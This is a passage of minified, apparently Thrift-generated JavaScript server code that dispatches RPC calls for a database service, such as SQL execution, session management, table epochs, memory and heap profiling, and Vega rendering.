l.TDBException?(B=new be(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_version",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_version",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_start_heap_profile(w,g,h){const T=new Ke;T.read(g),g.readMessageEnd(),this._handler.start_heap_profile.length===1?Promise.resolve(this._handler.start_heap_profile.bind(this._handler)(T.session)).then(_=>{const v=new It({success:_});h.writeMessageBegin("start_heap_profile",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new It(_),h.writeMessageBegin("start_heap_profile",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("start_heap_profile",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.start_heap_profile(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new It(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("start_heap_profile",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("start_heap_profile",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_stop_heap_profile(w,g,h){const T=new Et;T.read(g),g.readMessageEnd(),this._handler.stop_heap_profile.length===1?Promise.resolve(this._handler.stop_heap_profile.bind(this._handler)(T.session)).then(_=>{const v=new et({success:_});h.writeMessageBegin("stop_heap_profile",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new et(_),h.writeMessageBegin("stop_heap_profile",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("stop_heap_profile",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.stop_heap_profile(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new et(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("stop_heap_profile",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("stop_heap_profile",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_heap_profile(w,g,h){const T=new Zt;T.read(g),g.readMessageEnd(),this._handler.get_heap_profile.length===1?Promise.resolve(this._handler.get_heap_profile.bind(this._handler)(T.session)).then(_=>{const v=new kn({success:_});h.writeMessageBegin("get_heap_profile",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new kn(_),h.writeMessageBegin("get_heap_profile",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_heap_profile",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_heap_profile(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new kn(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_heap_profile",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_heap_profile",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_memory(w,g,h){const T=new Yi;T.read(g),g.readMessageEnd(),this._handler.get_memory.length===2?Promise.resolve(this._handler.get_memory.bind(this._handler)(T.session,T.memory_level)).then(_=>{const v=new fe({success:_});h.writeMessageBegin("get_memory",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new fe(_),h.writeMessageBegin("get_memory",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_memory",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_memory(T.session,T.memory_level,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new fe(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_memory",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_memory",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_clear_cpu_memory(w,g,h){const T=new oi;T.read(g),g.readMessageEnd(),this._handler.clear_cpu_memory.length===1?Promise.resolve(this._handler.clear_cpu_memory.bind(this._handler)(T.session)).then(_=>{const v=new jn({success:_});h.writeMessageBegin("clear_cpu_memory",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new jn(_),h.writeMessageBegin("clear_cpu_memory",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("clear_cpu_memory",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.clear_cpu_memory(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new jn(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("clear_cpu_memory",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("clear_cpu_memory",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_clear_gpu_memory(w,g,h){const T=new ur;T.read(g),g.readMessageEnd(),this._handler.clear_gpu_memory.length===1?Promise.resolve(this._handler.clear_gpu_memory.bind(this._handler)(T.session)).then(_=>{const v=new ln({success:_});h.writeMessageBegin("clear_gpu_memory",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new ln(_),h.writeMessageBegin("clear_gpu_memory",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("clear_gpu_memory",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.clear_gpu_memory(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new ln(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("clear_gpu_memory",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("clear_gpu_memory",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_set_cur_session(w,g,h){const T=new cl;T.read(g),g.readMessageEnd(),this._handler.set_cur_session.length===5?Promise.resolve(this._handler.set_cur_session.bind(this._handler)(T.parent_session,T.leaf_session,T.start_time_str,T.label,T.for_running_query_kernel)).then(_=>{const v=new dl({success:_});h.writeMessageBegin("set_cur_session",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new dl(_),h.writeMessageBegin("set_cur_session",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_cur_session",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.set_cur_session(T.parent_session,T.leaf_session,T.start_time_str,T.label,T.for_running_query_kernel,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new dl(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("set_cur_session",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_cur_session",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_invalidate_cur_session(w,g,h){const T=new Ts;T.read(g),g.readMessageEnd(),this._handler.invalidate_cur_session.length===5?Promise.resolve(this._handler.invalidate_cur_session.bind(this._handler)(T.parent_session,T.leaf_session,T.start_time_str,T.label,T.for_running_query_kernel)).then(_=>{const v=new fl({success:_});h.writeMessageBegin("invalidate_cur_session",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new fl(_),h.writeMessageBegin("invalidate_cur_session",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("invalidate_cur_session",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.invalidate_cur_session(T.parent_session,T.leaf_session,T.start_time_str,T.label,T.for_running_query_kernel,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new fl(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("invalidate_cur_session",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("invalidate_cur_session",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_set_table_epoch(w,g,h){const T=new N;T.read(g),g.readMessageEnd(),this._handler.set_table_epoch.length===4?Promise.resolve(this._handler.set_table_epoch.bind(this._handler)(T.session,T.db_id,T.table_id,T.new_epoch)).then(_=>{const v=new I({success:_});h.writeMessageBegin("set_table_epoch",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new I(_),h.writeMessageBegin("set_table_epoch",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_table_epoch",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.set_table_epoch(T.session,T.db_id,T.table_id,T.new_epoch,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new I(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("set_table_epoch",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_table_epoch",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_set_table_epoch_by_name(w,g,h){const T=new A;T.read(g),g.readMessageEnd(),this._handler.set_table_epoch_by_name.length===3?Promise.resolve(this._handler.set_table_epoch_by_name.bind(this._handler)(T.session,T.table_name,T.new_epoch)).then(_=>{const v=new U({success:_});h.writeMessageBegin("set_table_epoch_by_name",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new U(_),h.writeMessageBegin("set_table_epoch_by_name",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_table_epoch_by_name",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.set_table_epoch_by_name(T.session,T.table_name,T.new_epoch,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new U(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("set_table_epoch_by_name",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_table_epoch_by_name",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_table_epoch(w,g,h){const T=new Z;T.read(g),g.readMessageEnd(),this._handler.get_table_epoch.length===3?Promise.resolve(this._handler.get_table_epoch.bind(this._handler)(T.session,T.db_id,T.table_id)).then(_=>{const v=new ee({success:_});h.writeMessageBegin("get_table_epoch",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_epoch",a.MessageType.EXCEPTION,w),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_table_epoch(T.session,T.db_id,T.table_id,(_,v)=>{let B;_===null||typeof _>"u"?(B=new ee(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_table_epoch",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_epoch",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_table_epoch_by_name(w,g,h){const T=new ne;T.read(g),g.readMessageEnd(),this._handler.get_table_epoch_by_name.length===2?Promise.resolve(this._handler.get_table_epoch_by_name.bind(this._handler)(T.session,T.table_name)).then(_=>{const v=new Be({success:_});h.writeMessageBegin("get_table_epoch_by_name",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_epoch_by_name",a.MessageType.EXCEPTION,w),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_table_epoch_by_name(T.session,T.table_name,(_,v)=>{let B;_===null||typeof _>"u"?(B=new Be(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_table_epoch_by_name",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_epoch_by_name",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_table_epochs(w,g,h){const T=new je;T.read(g),g.readMessageEnd(),this._handler.get_table_epochs.length===3?Promise.resolve(this._handler.get_table_epochs.bind(this._handler)(T.session,T.db_id,T.table_id)).then(_=>{const v=new Ue({success:_});h.writeMessageBegin("get_table_epochs",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_epochs",a.MessageType.EXCEPTION,w),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_table_epochs(T.session,T.db_id,T.table_id,(_,v)=>{let B;_===null||typeof _>"u"?(B=new Ue(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_table_epochs",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_table_epochs",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_set_table_epochs(w,g,h){const T=new Ye;T.read(g),g.readMessageEnd(),this._handler.set_table_epochs.length===3?Promise.resolve(this._handler.set_table_epochs.bind(this._handler)(T.session,T.db_id,T.table_epochs)).then(_=>{const v=new Xe({success:_});h.writeMessageBegin("set_table_epochs",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_table_epochs",a.MessageType.EXCEPTION,w),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.set_table_epochs(T.session,T.db_id,T.table_epochs,(_,v)=>{let B;_===null||typeof _>"u"?(B=new Xe(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("set_table_epochs",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_table_epochs",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_session_info(w,g,h){const T=new ul;T.read(g),g.readMessageEnd(),this._handler.get_session_info.length===1?Promise.resolve(this._handler.get_session_info.bind(this._handler)(T.session)).then(_=>{const v=new g3({success:_});h.writeMessageBegin("get_session_info",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new g3(_),h.writeMessageBegin("get_session_info",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_session_info",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_session_info(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new g3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_session_info",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_session_info",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_queries_info(w,g,h){const T=new gx;T.read(g),g.readMessageEnd(),this._handler.get_queries_info.length===1?Promise.resolve(this._handler.get_queries_info.bind(this._handler)(T.session)).then(_=>{const v=new _3({success:_});h.writeMessageBegin("get_queries_info",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new _3(_),h.writeMessageBegin("get_queries_info",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_queries_info",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_queries_info(T.session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new _3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_queries_info",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_queries_info",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_set_leaf_info(w,g,h){const T=new _x;T.read(g),g.readMessageEnd(),this._handler.set_leaf_info.length===2?Promise.resolve(this._handler.set_leaf_info.bind(this._handler)(T.session,T.leaf_info)).then(_=>{const v=new p3({success:_});h.writeMessageBegin("set_leaf_info",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new p3(_),h.writeMessageBegin("set_leaf_info",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_leaf_info",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.set_leaf_info(T.session,T.leaf_info,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new p3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("set_leaf_info",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_leaf_info",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_sql_execute(w,g,h){const T=new px;T.read(g),g.readMessageEnd(),this._handler.sql_execute.length===6?Promise.resolve(this._handler.sql_execute.bind(this._handler)(T.session,T.query,T.column_format,T.nonce,T.first_n,T.at_most_n)).then(_=>{const v=new y3({success:_});h.writeMessageBegin("sql_execute",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new y3(_),h.writeMessageBegin("sql_execute",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_execute",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.sql_execute(T.session,T.query,T.column_format,T.nonce,T.first_n,T.at_most_n,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new y3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("sql_execute",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_execute",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_sql_execute_df(w,g,h){const T=new yx;T.read(g),g.readMessageEnd(),this._handler.sql_execute_df.length===6?Promise.resolve(this._handler.sql_execute_df.bind(this._handler)(T.session,T.query,T.device_type,T.device_id,T.first_n,T.transport_method)).then(_=>{const v=new m3({success:_});h.writeMessageBegin("sql_execute_df",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new m3(_),h.writeMessageBegin("sql_execute_df",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_execute_df",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.sql_execute_df(T.session,T.query,T.device_type,T.device_id,T.first_n,T.transport_method,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new m3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("sql_execute_df",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_execute_df",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_sql_execute_gdf(w,g,h){const T=new mx;T.read(g),g.readMessageEnd(),this._handler.sql_execute_gdf.length===4?Promise.resolve(this._handler.sql_execute_gdf.bind(this._handler)(T.session,T.query,T.device_id,T.first_n)).then(_=>{const v=new w3({success:_});h.writeMessageBegin("sql_execute_gdf",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new w3(_),h.writeMessageBegin("sql_execute_gdf",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_execute_gdf",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.sql_execute_gdf(T.session,T.query,T.device_id,T.first_n,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new w3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("sql_execute_gdf",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_execute_gdf",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_deallocate_df(w,g,h){const T=new wx;T.read(g),g.readMessageEnd(),this._handler.deallocate_df.length===4?Promise.resolve(this._handler.deallocate_df.bind(this._handler)(T.session,T.df,T.device_type,T.device_id)).then(_=>{const v=new L3({success:_});h.writeMessageBegin("deallocate_df",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new L3(_),h.writeMessageBegin("deallocate_df",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("deallocate_df",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.deallocate_df(T.session,T.df,T.device_type,T.device_id,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new L3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("deallocate_df",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("deallocate_df",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_interrupt(w,g,h){const T=new Lx;T.read(g),g.readMessageEnd(),this._handler.interrupt.length===2?Promise.resolve(this._handler.interrupt.bind(this._handler)(T.query_session,T.interrupt_session)).then(_=>{const v=new b3({success:_});h.writeMessageBegin("interrupt",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new b3(_),h.writeMessageBegin("interrupt",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("interrupt",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.interrupt(T.query_session,T.interrupt_session,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new b3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("interrupt",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("interrupt",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_sql_validate(w,g,h){const T=new bx;T.read(g),g.readMessageEnd(),this._handler.sql_validate.length===2?Promise.resolve(this._handler.sql_validate.bind(this._handler)(T.session,T.query)).then(_=>{const v=new T3({success:_});h.writeMessageBegin("sql_validate",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new T3(_),h.writeMessageBegin("sql_validate",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_validate",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.sql_validate(T.session,T.query,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new T3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("sql_validate",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("sql_validate",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_completion_hints(w,g,h){const T=new Tx;T.read(g),g.readMessageEnd(),this._handler.get_completion_hints.length===3?Promise.resolve(this._handler.get_completion_hints.bind(this._handler)(T.session,T.sql,T.cursor)).then(_=>{const v=new v3({success:_});h.writeMessageBegin("get_completion_hints",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new v3(_),h.writeMessageBegin("get_completion_hints",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_completion_hints",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.get_completion_hints(T.session,T.sql,T.cursor,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new v3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("get_completion_hints",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("get_completion_hints",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_set_execution_mode(w,g,h){const T=new vx;T.read(g),g.readMessageEnd(),this._handler.set_execution_mode.length===2?Promise.resolve(this._handler.set_execution_mode.bind(this._handler)(T.session,T.mode)).then(_=>{const v=new E3({success:_});h.writeMessageBegin("set_execution_mode",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new E3(_),h.writeMessageBegin("set_execution_mode",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_execution_mode",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.set_execution_mode(T.session,T.mode,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new E3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("set_execution_mode",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("set_execution_mode",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_render_vega(w,g,h){const T=new Ex;T.read(g),g.readMessageEnd(),this._handler.render_vega.length===5?Promise.resolve(this._handler.render_vega.bind(this._handler)(T.session,T.widget_id,T.vega_json,T.compression_level,T.nonce)).then(_=>{const v=new S3({success:_});h.writeMessageBegin("render_vega",a.MessageType.REPLY,w),v.write(h),h.writeMessageEnd(),h.flush()}).catch(_=>{let v;_ instanceof l.TDBException?(v=new S3(_),h.writeMessageBegin("render_vega",a.MessageType.REPLY,w)):(v=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("render_vega",a.MessageType.EXCEPTION,w)),v.write(h),h.writeMessageEnd(),h.flush()}):this._handler.render_vega(T.session,T.widget_id,T.vega_json,T.compression_level,T.nonce,(_,v)=>{let B;_===null||typeof _>"u"||_ instanceof l.TDBException?(B=new S3(_!==null||typeof _>"u"?_:{success:v}),h.writeMessageBegin("render_vega",a.MessageType.REPLY,w)):(B=new a.TApplicationException(a.TApplicationExceptionType.UNKNOWN,_.message),h.writeMessageBegin("render_vega",a.MessageType.EXCEPTION,w)),B.write(h),h.writeMessageEnd(),h.flush()})}process_get_result_row_for_pixel(w,g,h){const T=new Sx;T.read(g),g.readMessageEnd(),this._handler.get_result_row_for_pixel.length===7?Promise.resolve(this._handler.get_result_row_for_pixel.bind(this._handler)(T.session,T.widget_id,T.pixel,T.table_col_names,T.column_format,T.pixelRadius,T.nonce)).then(_=>{const v=new 